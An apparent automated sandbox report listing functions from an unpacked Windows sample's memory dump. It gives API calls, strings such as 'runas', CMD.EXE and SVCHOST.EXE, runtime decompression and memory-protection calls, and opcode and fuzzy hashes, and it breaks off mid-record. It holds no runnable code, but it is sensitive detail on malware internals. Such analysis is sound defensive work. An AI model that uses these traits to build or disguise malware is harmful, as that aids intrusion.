"%s%s" %s, xrefs: 0040F545
%s%s, xrefs: 0040F4BE
D, xrefs: 0040F56B

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: __snwprintflstrlen$_memsetlstrcmpi
String ID: "%s%s" %s$%s%s$D
API String ID: 3486848216-1142567492
Opcode ID: 6591c5d9571cf5afcffaa47041b92443de746e5a4a7dba17e69abd2976a2c285
Instruction ID: 94f9f7d526d00085955fa470010bfdb00b17b91c43c7cc5adbbf959487f6b84e
Opcode Fuzzy Hash: 6591c5d9571cf5afcffaa47041b92443de746e5a4a7dba17e69abd2976a2c285
Instruction Fuzzy Hash: 7C41ADB4A00208BBD714DFA0DC49FAE7779FB48701F50443AF605B66C1DB789A48CB68

Function 00423600 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 116libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(NTDLL.DLL), ref: 00423628
GetProcAddress.KERNEL32(00000000,RtlGetVersion), ref: 00423651

Strings

NTDLL.DLL, xrefs: 00423623
RtlGetVersion, xrefs: 00423648

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: AddressLibraryLoadProc
String ID: NTDLL.DLL$RtlGetVersion
API String ID: 2574300362-196638859
Opcode ID: 515c2e0ee8a0e5ba850e9100b05932fa9f56ab70241ada10714002074d93930a
Instruction ID: 58b0ae03d4b459a716950005324cdfb3490182bae94a327c6236c0a64777fc64
Opcode Fuzzy Hash: 515c2e0ee8a0e5ba850e9100b05932fa9f56ab70241ada10714002074d93930a
Instruction Fuzzy Hash: 165104B4A00218EFCB14DF60D988BD9B7B5BB48301F6085A9E909A7350DB789B85DF54

Function 00417A39 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 111threadCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00417ABA
__snwprintf.LIBCMT ref: 00417ADF

Part of subcall function 00407280: _memset.LIBCMT ref: 004072BF
Part of subcall function 00407280: _memset.LIBCMT ref: 0040730A

CreateEventW.KERNEL32(00000000,00000001,00000000,00000000), ref: 00417B64
CreateThread.KERNEL32(00000000,00000000,0040BCA0,00000000,00000000,00000000), ref: 00417B87
CloseHandle.KERNEL32(?), ref: 00417BA4

Part of subcall function 0040C970: lstrlenW.KERNEL32(?), ref: 0040C9D6
Part of subcall function 0040C970: lstrlenW.KERNEL32(00473898), ref: 0040C9E9
Part of subcall function 0040C970: __snwprintf.LIBCMT ref: 0040CA2A
Part of subcall function 0040C970: lstrlenW.KERNEL32(00000000), ref: 0040CA36

CreateThread.KERNEL32(00000000,00000000,0041C690,00000000,00000000,00000000), ref: 00417BD5
CreateThread.KERNEL32(00000000,00000000,00422100,00000000,00000000,00000000), ref: 00417BEF

Strings

"%s%s", xrefs: 00417ACE

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: Create$Thread_memsetlstrlen$__snwprintf$CloseEventHandle
String ID: "%s%s"
API String ID: 3189696634-1694057794
Opcode ID: 9402a5bf2234cc531801f2ad4859e290af130b3bd0802ef8c76280a6f5f20343
Instruction ID: 63a10ece418804601786ab08b0f6251961baafe1328c1c8680ebe09e9a8bf3d6
Opcode Fuzzy Hash: 9402a5bf2234cc531801f2ad4859e290af130b3bd0802ef8c76280a6f5f20343
Instruction Fuzzy Hash: A9416270A88314AFE724AB60AC4BFE53274A715709F10457AF20D692D1D7F869C4CF5E

Function 00418508 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 78threadsynchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,00000000,?,0041824B,?), ref: 0041852B
CloseHandle.KERNEL32(00000000,?,0041824B,?), ref: 00418563
CloseHandle.KERNEL32(00000000,?,0041824B,?), ref: 00418583
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,?,0041824B,?), ref: 0041859B
CreateThread.KERNEL32(00000000,00000000,?,?,00000004,00000000), ref: 004185BA
ResumeThread.KERNEL32(00000000), ref: 004185E8

Strings

d, xrefs: 00418511

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: CloseCreateHandleThread$EventObjectResumeSingleWait
String ID: d
API String ID: 3200977696-2564639436
Opcode ID: e47913d85177d952f07e91ab2c55a93ee882f99a65de917e450145ff4c684f91
Instruction ID: fd4e0360adda180c4f1a786bb116d6f6d9cc44fc05efef3a18d3bfaac9fe992b
Opcode Fuzzy Hash: e47913d85177d952f07e91ab2c55a93ee882f99a65de917e450145ff4c684f91
Instruction Fuzzy Hash: F03118B4A00219EFDB14CF94C888BEEB7B2FB48304F248559E61967390C775A981CF58

Function 00425298 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 004252B2

Part of subcall function 004256B9: __FF_MSGBANNER.LIBCMT ref: 004256D2
Part of subcall function 004256B9: __NMSG_WRITE.LIBCMT ref: 004256D9
Part of subcall function 004256B9: RtlAllocateHeap.NTDLL(00000000,00000001,?,?,?,?,00405B83,?), ref: 004256FE

std::exception::exception.LIBCMT ref: 004252E7
std::exception::exception.LIBCMT ref: 00425301
__CxxThrowException@8.LIBCMT ref: 00425312

Strings

bad allocation, xrefs: 004252E0
8@, xrefs: 004252CA
e=A, xrefs: 004252FE, 0042530B, 0042530E

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: std::exception::exception$AllocateException@8HeapThrow_malloc
String ID: bad allocation$e=A$8@
API String ID: 615853336-2188504570
Opcode ID: efa5a78bcec6c1264fe53b01ca0a315b7082a394095cb23883f6a574b7f84a8e
Instruction ID: 7988b96250c015560cd3d619290e4bc3d25131546947fc9e3d0e9ea9cb753055
Opcode Fuzzy Hash: efa5a78bcec6c1264fe53b01ca0a315b7082a394095cb23883f6a574b7f84a8e
Instruction Fuzzy Hash: BEF0F93161052CAACB04FB56FC0679D77A8AF44728FA4446FE800E61D1CBBD8E458B6C

Function 00408DE0 Relevance: 12.2, APIs: 2, Strings: 6, Instructions: 241stringCOMMON

Download Yara Rule

APIs

lstrcpyW.KERNEL32(00000000,00000000), ref: 00408F43
lstrcpyW.KERNEL32(00000000,0047B978), ref: 00408F8E

Part of subcall function 00408310: GetLastError.KERNEL32 ref: 0040834C
Part of subcall function 00408310: __snwprintf.LIBCMT ref: 0040838E

Strings

%s%s, xrefs: 00408EFB
<@@, xrefs: 00409001, 00409007
D, xrefs: 004090BF
@@, xrefs: 00408FAF
"%s%s" %s, xrefs: 00409094
runas, xrefs: 00408FDD

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: lstrcpy$ErrorLast__snwprintf
String ID: "%s%s" %s$%s%s$<@@$@@$D$runas
API String ID: 89890705-184178886
Opcode ID: 6778802388b4a04b26f3ca18ba12eaaf2ff7c927a724906eae246c19d0108b67
Instruction ID: e9135c0d80ee49335ed4243af3315bff5dc05c7714a0478ed2a99f7f94b60ec1
Opcode Fuzzy Hash: 6778802388b4a04b26f3ca18ba12eaaf2ff7c927a724906eae246c19d0108b67
Instruction Fuzzy Hash: 8DA12DB0A00218DFEB24DF60DC49B9DB774FB48705F1085AAE60DB6291DB745A88CF69

Function 0041F900 Relevance: 10.7, APIs: 7, Instructions: 200memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000FA0), ref: 0041F942
und_memcpy.LIBCMTD ref: 0041F968
und_memcpy.LIBCMTD ref: 0041F983
und_memcpy.LIBCMTD ref: 0041F9B7
VirtualProtect.KERNEL32(?,00000000,00000000,00000000,?,?), ref: 0041FBC5
LocalFree.KERNEL32(00000000), ref: 0041FC8B

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: und_memcpy$Local$AllocFreeProtectVirtual
String ID:
API String ID: 3065580769-0
Opcode ID: db97eb557d4180286acccdacbb63b56f7b53785f800bb29965c8605d456440a9
Instruction ID: 60fb578c4be36f93d8985b3f4f049626573707d5ff0a196cfa10f70d59769fc2
Opcode Fuzzy Hash: db97eb557d4180286acccdacbb63b56f7b53785f800bb29965c8605d456440a9
Instruction Fuzzy Hash: 05A1C270A056288BDB28CF04CD95BDAB7B1BB88305F1481EAD40DAB354D7396EC6CF84

Function 0040F260 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 117fileCOMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 0040F28B
__snwprintf.LIBCMT ref: 0040F332
CreateFileW.KERNEL32(00000000,C0000000,00000001,00000000,00000002,00000000,00000000), ref: 0040F34D
WriteFile.KERNEL32(000000FF,00000000,00000000,?,00000000), ref: 0040F36E
DeleteFileW.KERNEL32(00000000), ref: 0040F3A3

Strings

%s%s, xrefs: 0040F324

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: File$CreateDeleteWrite__snwprintf_memmove
String ID: %s%s
API String ID: 1135641114-3252725368
Opcode ID: 40875bf7252593c87c7f63d1ba15bc5223dc12cf6d8f7c1c20e90b78a65ca814
Instruction ID: e1b8e62fcb98a0169351ce3fd75097269ad8096bf713dfe403c8dd12490f9e03
Opcode Fuzzy Hash: 40875bf7252593c87c7f63d1ba15bc5223dc12cf6d8f7c1c20e90b78a65ca814
Instruction Fuzzy Hash: BE411B75A00209EBDB14DFA4D989FAEBBB5FF48701F104579FA05B7280C778AA44CB58

Function 00418276 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75threadsynchronizationCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(00000000), ref: 004182C7
CloseHandle.KERNEL32(00000000), ref: 004182E7
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000), ref: 004182FF
CreateThread.KERNEL32(00000000,00000000,00000000,?,00000004,00000000), ref: 0041831E
ResumeThread.KERNEL32(00000000), ref: 0041834C
WaitForSingleObject.KERNEL32(00000000,00000000), ref: 004183A1
CloseHandle.KERNEL32(00000000), ref: 004183CD
CloseHandle.KERNEL32(00000000), ref: 004183ED
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000), ref: 00418405
CreateThread.KERNEL32(00000000,00000000,00000000,?,00000004,00000000), ref: 00418424
ResumeThread.KERNEL32(00000000), ref: 00418452

Strings

d, xrefs: 0041827F

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: CloseCreateHandleThread$EventResume$ObjectSingleWait
String ID: d
API String ID: 738346648-2564639436
Opcode ID: 2a3b5e452e677c21a53d98120e54adf304e48e22d55fefbe41f6c8e64a6de015
Instruction ID: ba0be99f31122c16ebddf1e6e47dfae09c46e12a65730e933a3b4d9d22be5517
Opcode Fuzzy Hash: 2a3b5e452e677c21a53d98120e54adf304e48e22d55fefbe41f6c8e64a6de015
Instruction Fuzzy Hash: AF319374E00208DFDB18CF94C888B9DFBB1BF88705F24C259EA156B395CB75A886CB44

Function 0041D850 Relevance: 10.6, APIs: 7, Instructions: 74threadmemoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000014), ref: 0041D866
CreateThread.KERNEL32(00000000,00000000,?,00000000,00000004,00000000), ref: 0041D889
CreateEventW.KERNEL32(00000000,00000000,00000000,00000000), ref: 0041D8A0
ResumeThread.KERNEL32(00000000), ref: 0041D8DE
CloseHandle.KERNEL32(00000000), ref: 0041D8F2
CloseHandle.KERNEL32(00000000), ref: 0041D90C
LocalFree.KERNEL32(00000000), ref: 0041D916

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: CloseCreateHandleLocalThread$AllocEventFreeResume
String ID:
API String ID: 4097846125-0
Opcode ID: 8231620f3605af58c0a931139f119fd4e7802a4526fdbcce2b5dab214ad60b68
Instruction ID: 96f23212a6419cea9540a98e5d17cd16be6374bc9748ac4717777b420f28046f
Opcode Fuzzy Hash: 8231620f3605af58c0a931139f119fd4e7802a4526fdbcce2b5dab214ad60b68
Instruction Fuzzy Hash: 13215EB9E00208FBDB04DFA4D849BDDB7B4AB48311F208199FA19A7390C734AA40CF58

Function 00420160 Relevance: 10.6, APIs: 7, Instructions: 62filememoryCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 0042017C
GetFileSize.KERNEL32(000000FF,00000000), ref: 00420191
LocalAlloc.KERNEL32(00000040,000000FF), ref: 004201A6
ReadFile.KERNEL32(000000FF,00000000,000000FF,?,00000000), ref: 004201C7
CloseHandle.KERNEL32(000000FF), ref: 004201DD
LocalFree.KERNEL32(00000000), ref: 004201F4
CloseHandle.KERNEL32(000000FF), ref: 004201FE

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: File$CloseHandleLocal$AllocCreateFreeReadSize
String ID:
API String ID: 2550598358-0
Opcode ID: 258461c174a5af7792d2e170b3a5b610d5ba3921d79e7e063af4c8645c32e7f3
Instruction ID: 12de7b0313f4499c1902146f5b05111a38b60bb585a5da9353494ef4b19c3374
Opcode Fuzzy Hash: 258461c174a5af7792d2e170b3a5b610d5ba3921d79e7e063af4c8645c32e7f3
Instruction Fuzzy Hash: 1A212774A00308FBDB14DBE4DC88BAEB7B8FB88710F108199E625A72D0C674AA40CB54

Function 00406930 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 61COMMON

Download Yara Rule

APIs

__snwprintf.LIBCMT ref: 0040695E
__snwprintf.LIBCMT ref: 0040699A

Strings

%s\CMD.EXE, xrefs: 004069C8
%s\SVCHOST.EXE, xrefs: 0040698C
%s\EXPLORER.EXE, xrefs: 00406950

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: __snwprintf
String ID: %s\CMD.EXE$%s\EXPLORER.EXE$%s\SVCHOST.EXE
API String ID: 2391506597-3707798339
Opcode ID: ff38144e36b07f6db76263b73ea45fb743e31a8283e63518e53c945a542f6b1a
Instruction ID: 8d8a976fe95106f2b20d64d823a6b75adf7ba3c6bb1cc1f2bc7a940eae9cbe5c
Opcode Fuzzy Hash: ff38144e36b07f6db76263b73ea45fb743e31a8283e63518e53c945a542f6b1a
Instruction Fuzzy Hash: 1E1146F1700344A7EF00DF90CC86FB73258AB85704F16452AF6165B6C0D6BDD8A1C75A

Function 0040C580 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 42COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL), ref: 0040C58E
GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 0040C5B1

Strings

KERNEL32.DLL, xrefs: 0040C589
USER32.DLL, xrefs: 0040C5BF

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: Module$FileHandleName
String ID: KERNEL32.DLL$USER32.DLL
API String ID: 4146042529-2880226457
Opcode ID: f9ff6b7c69088ed18e6cd30b313f6bcd22874cd683d3ae34d823f47e626d093f
Instruction ID: d8326dfa3f95f6af7e2172a4f9426cee28022d40273b6685088d782de763849f
Opcode Fuzzy Hash: f9ff6b7c69088ed18e6cd30b313f6bcd22874cd683d3ae34d823f47e626d093f
Instruction Fuzzy Hash: 4C01A774B54218EFC720DB70CD89BEB76B49708304F2019B6E60AF21C0E279BA449E6D

Function 00429161 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,0043C840,00000008,00429269,00000000,00000000,?,?,004283B3,00425742,?,?,00405B83,?), ref: 00429172
__lock.LIBCMT ref: 004291A6

Part of subcall function 0042D7F5: __mtinitlocknum.LIBCMT ref: 0042D80B
Part of subcall function 0042D7F5: __amsg_exit.LIBCMT ref: 0042D817
Part of subcall function 0042D7F5: EnterCriticalSection.KERNEL32(00405B83,00405B83,?,004291AB,0000000D,?,?,004283B3,00425742,?,?,00405B83,?), ref: 0042D81F

InterlockedIncrement.KERNEL32(888D8B31), ref: 004291B3
__lock.LIBCMT ref: 004291C7
___addlocaleref.LIBCMT ref: 004291E5

Strings

KERNEL32.DLL, xrefs: 0042916D

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: __lock$CriticalEnterHandleIncrementInterlockedModuleSection___addlocaleref__amsg_exit__mtinitlocknum
String ID: KERNEL32.DLL
API String ID: 637971194-2576044830
Opcode ID: 9d9a3459f5f0cdfb04b3158e47f20ecdca7376571223b52a922268d22b747446
Instruction ID: 6c66b634a268711a9401fe7bb6153e1dc172c36381796aa83b41a0db6993cb8d
Opcode Fuzzy Hash: 9d9a3459f5f0cdfb04b3158e47f20ecdca7376571223b52a922268d22b747446
Instruction Fuzzy Hash: 48018471940700EFD720AF6AE846749FBF0AF54314F60894FE4D5972A0CBBCAA44CB69

Function 00406000 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 32libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(ntdll.dll), ref: 0040601B
GetProcAddress.KERNEL32(?,RtlNtStatusToDosError), ref: 0040602D
GetProcAddress.KERNEL32(?,RtlSetLastWin32Error), ref: 00406041

Strings

RtlSetLastWin32Error, xrefs: 00406038
ntdll.dll, xrefs: 00406016
RtlNtStatusToDosError, xrefs: 00406024

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: AddressProc$HandleModule
String ID: RtlNtStatusToDosError$RtlSetLastWin32Error$ntdll.dll
API String ID: 667068680-2897241497
Opcode ID: b5833069ae474c4c5936d1bb37857093b8e160cd104588c0bdb069467e024a18
Instruction ID: 0c6e80d2cd4d852bbcf0d13c32b975f7affc432616e76e6080f0b5a3c05e53ef
Opcode Fuzzy Hash: b5833069ae474c4c5936d1bb37857093b8e160cd104588c0bdb069467e024a18
Instruction Fuzzy Hash: F0F03C76564204FFC714DFA0EC4C7AA7B74A748302F10507EA909922A2C77858C8CF1C

Function 004145D0 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 28libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(NTDLL.DLL,?,?,0041CC83), ref: 004145D9
GetProcAddress.KERNEL32(0041CC83,RtlDecompressBuffer), ref: 004145EB
GetProcAddress.KERNEL32(0041CC83,RtlGetCompressionWorkSpaceSize), ref: 004145FF

Strings

RtlGetCompressionWorkSpaceSize, xrefs: 004145F6
RtlDecompressBuffer, xrefs: 004145E2
NTDLL.DLL, xrefs: 004145D4

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: AddressProc$HandleModule
String ID: NTDLL.DLL$RtlDecompressBuffer$RtlGetCompressionWorkSpaceSize
API String ID: 667068680-1459209654
Opcode ID: 12eb84a2ad7da26ac98e0bb4dfa6020314f6c907d9ce4db396483fb9dd3fc3f5
Instruction ID: eae89aa9e54ec5fe30aaa5054764df6fa712763fe0a5d5df84310ac6675ccaff
Opcode Fuzzy Hash: 12eb84a2ad7da26ac98e0bb4dfa6020314f6c907d9ce4db396483fb9dd3fc3f5
Instruction Fuzzy Hash: DEF03A74A05204FBD724CBA4E909BA977B4E785706F1015BBE408822B0E678A9C9CA19

Function 0041A780 Relevance: 9.1, APIs: 1, Strings: 4, Instructions: 369COMMON

Download Yara Rule

Strings

<, xrefs: 0041A8BB
GET, xrefs: 0041A9D3
text/plain, xrefs: 0041A790
application/octet-stream, xrefs: 0041A789

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID:
String ID: <$GET$application/octet-stream$text/plain
API String ID: 0-1326944966
Opcode ID: e8558670ebd19a465f2cc52b574e65a62a8c73e3c0d5628d88af1ffd4544ecbf
Instruction ID: 3b5f2e9da9426d44645e64c87a8eb70c880a44e6c3c5a92d7912c720405387ee
Opcode Fuzzy Hash: e8558670ebd19a465f2cc52b574e65a62a8c73e3c0d5628d88af1ffd4544ecbf
Instruction Fuzzy Hash: 0BF10F70A00218DFDB14DFA4CD49BEEB7B5FB48704F108599E509AB284D7749AC4CF9A

Function 0042216F Relevance: 9.1, APIs: 6, Instructions: 51synchronizationsleepmemoryCOMMON

Download Yara Rule

APIs

CreateEventW.KERNEL32(00000000,00000001,00000000,00000000), ref: 004221BA
WaitForSingleObject.KERNEL32(?,00000000), ref: 0042224D
WaitForSingleObject.KERNEL32(?,00000000), ref: 00422270
WaitForSingleObject.KERNEL32(?,000003E8), ref: 00422288
Sleep.KERNEL32(00000BB8), ref: 004222A1
WaitForSingleObject.KERNEL32(00000000,00000000), ref: 004222BB
WaitForSingleObject.KERNEL32(00000000,00000000), ref: 004222D3
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000), ref: 00422351
LocalAlloc.KERNEL32(00000040,00000004), ref: 00422368
CreateThread.KERNEL32(00000000,00000000,00422650,00000000,00000000,00000000), ref: 00422394
GetTickCount.KERNEL32 ref: 004223B1
WaitForSingleObject.KERNEL32(?,00000000), ref: 004223D9
SetEvent.KERNEL32(00000000), ref: 004224C2
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 004224CE
CloseHandle.KERNEL32(00000000), ref: 004224E9
WaitForSingleObject.KERNEL32(00000000,00000000), ref: 004225A7
SetEvent.KERNEL32(00000000), ref: 004225B8
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 004225C4
CloseHandle.KERNEL32(00000000), ref: 004225D4
CloseHandle.KERNEL32(00000000), ref: 004225EB
CloseHandle.KERNEL32(?), ref: 00422604
ReleaseMutex.KERNEL32(00000000), ref: 0042261E
CloseHandle.KERNEL32(00000000), ref: 00422628
CloseHandle.KERNEL32(00000000), ref: 00422638
CloseHandle.KERNEL32(00000000), ref: 00422642

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: ObjectSingleWait$CloseHandle$Event$Create$AllocCountLocalMutexReleaseSleepThreadTick
String ID:
API String ID: 3997620821-0
Opcode ID: d002ee51f2baca840a06b6ab246674f7e9fafdfcbf353304c68a9000ce76f39f
Instruction ID: 06073eb95e3d92e63929033871a363c0ea52abaf58939d7c64c74a1e757a3379
Opcode Fuzzy Hash: d002ee51f2baca840a06b6ab246674f7e9fafdfcbf353304c68a9000ce76f39f
Instruction Fuzzy Hash: BD118E74A04214FFDB54CFE0F94CBAEB7B0FB49301F50846AE20566290C7B85588CF29

Function 00428735 Relevance: 9.0, APIs: 6, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__CreateFrameInfo.LIBCMT ref: 0042875D

Part of subcall function 00424A47: __getptd.LIBCMT ref: 00424A55
Part of subcall function 00424A47: __getptd.LIBCMT ref: 00424A63

__getptd.LIBCMT ref: 00428767

Part of subcall function 0042928E: __getptd_noexit.LIBCMT ref: 00429291
Part of subcall function 0042928E: __amsg_exit.LIBCMT ref: 0042929E

__getptd.LIBCMT ref: 00428775
__getptd.LIBCMT ref: 00428783
__getptd.LIBCMT ref: 0042878E
_CallCatchBlock2.LIBCMT ref: 004287B4

Part of subcall function 00424AEC: __CallSettingFrame@12.LIBCMT ref: 00424B38

Part of subcall function 0042885B: __getptd.LIBCMT ref: 0042886A
Part of subcall function 0042885B: __getptd.LIBCMT ref: 00428878

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: __getptd$Call$Block2CatchCreateFrameFrame@12InfoSetting__amsg_exit__getptd_noexit
String ID:
API String ID: 1602911419-0
Opcode ID: 8c81b6205adf69f81b8a27efc814c6f22dcca121137f3e194516562ed428d844
Instruction ID: ff6e657a384014cc070408bc5d47213e9fb4f84d3490c6a2d7023cbb59465c98
Opcode Fuzzy Hash: 8c81b6205adf69f81b8a27efc814c6f22dcca121137f3e194516562ed428d844
Instruction Fuzzy Hash: 4B11F971E00219EFDF00EFA5D485A9DBBB0FF04314F9084AEF814A7251DB389A159FA8

Function 00429C2A Relevance: 9.0, APIs: 6, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00429C36

Part of subcall function 0042928E: __getptd_noexit.LIBCMT ref: 00429291
Part of subcall function 0042928E: __amsg_exit.LIBCMT ref: 0042929E

__amsg_exit.LIBCMT ref: 00429C56
__lock.LIBCMT ref: 00429C66
InterlockedDecrement.KERNEL32(?), ref: 00429C83
_free.LIBCMT ref: 00429C96
InterlockedIncrement.KERNEL32(?), ref: 00429CAE

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock_free
String ID:
API String ID: 3470314060-0
Opcode ID: 36271023b223fadb9ab6e712b6c59eb3779a78d2d1be80bf2b56bb847cdc28d0
Instruction ID: f4cbf64d02b6ba1de177e689c24b6bfbfdcea36b97806bb26546d54a50972fe8
Opcode Fuzzy Hash: 36271023b223fadb9ab6e712b6c59eb3779a78d2d1be80bf2b56bb847cdc28d0
Instruction Fuzzy Hash: 66018E31F40731DBDB25AB66A88579EB7B0AF44714F91401BE81867281DB3CAC82CBDD

Function 00414B70 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 230synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 00421DA0: ___crtGetLocaleInfoEx.LIBCMTD ref: 00421DBD

Part of subcall function 00421A20: ___crtGetLocaleInfoEx.LIBCMTD ref: 00421A3D

WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 00414D63
CloseHandle.KERNEL32(00000000), ref: 00414DA5
CloseHandle.KERNEL32(00000000), ref: 00414E07
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 00414E95

Strings

d, xrefs: 00414CD6

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: CloseHandleInfoLocale___crt$FreeObjectSingleVirtualWait
String ID: d
API String ID: 733634416-2564639436
Opcode ID: f161013116c55da72c63ce6aca6e420a63ce0a8e746b5f21adae62202949ffd6
Instruction ID: dcbe7d409504b365a2a01452fac66c244b140dda19594937d55e93dcf8af10d5
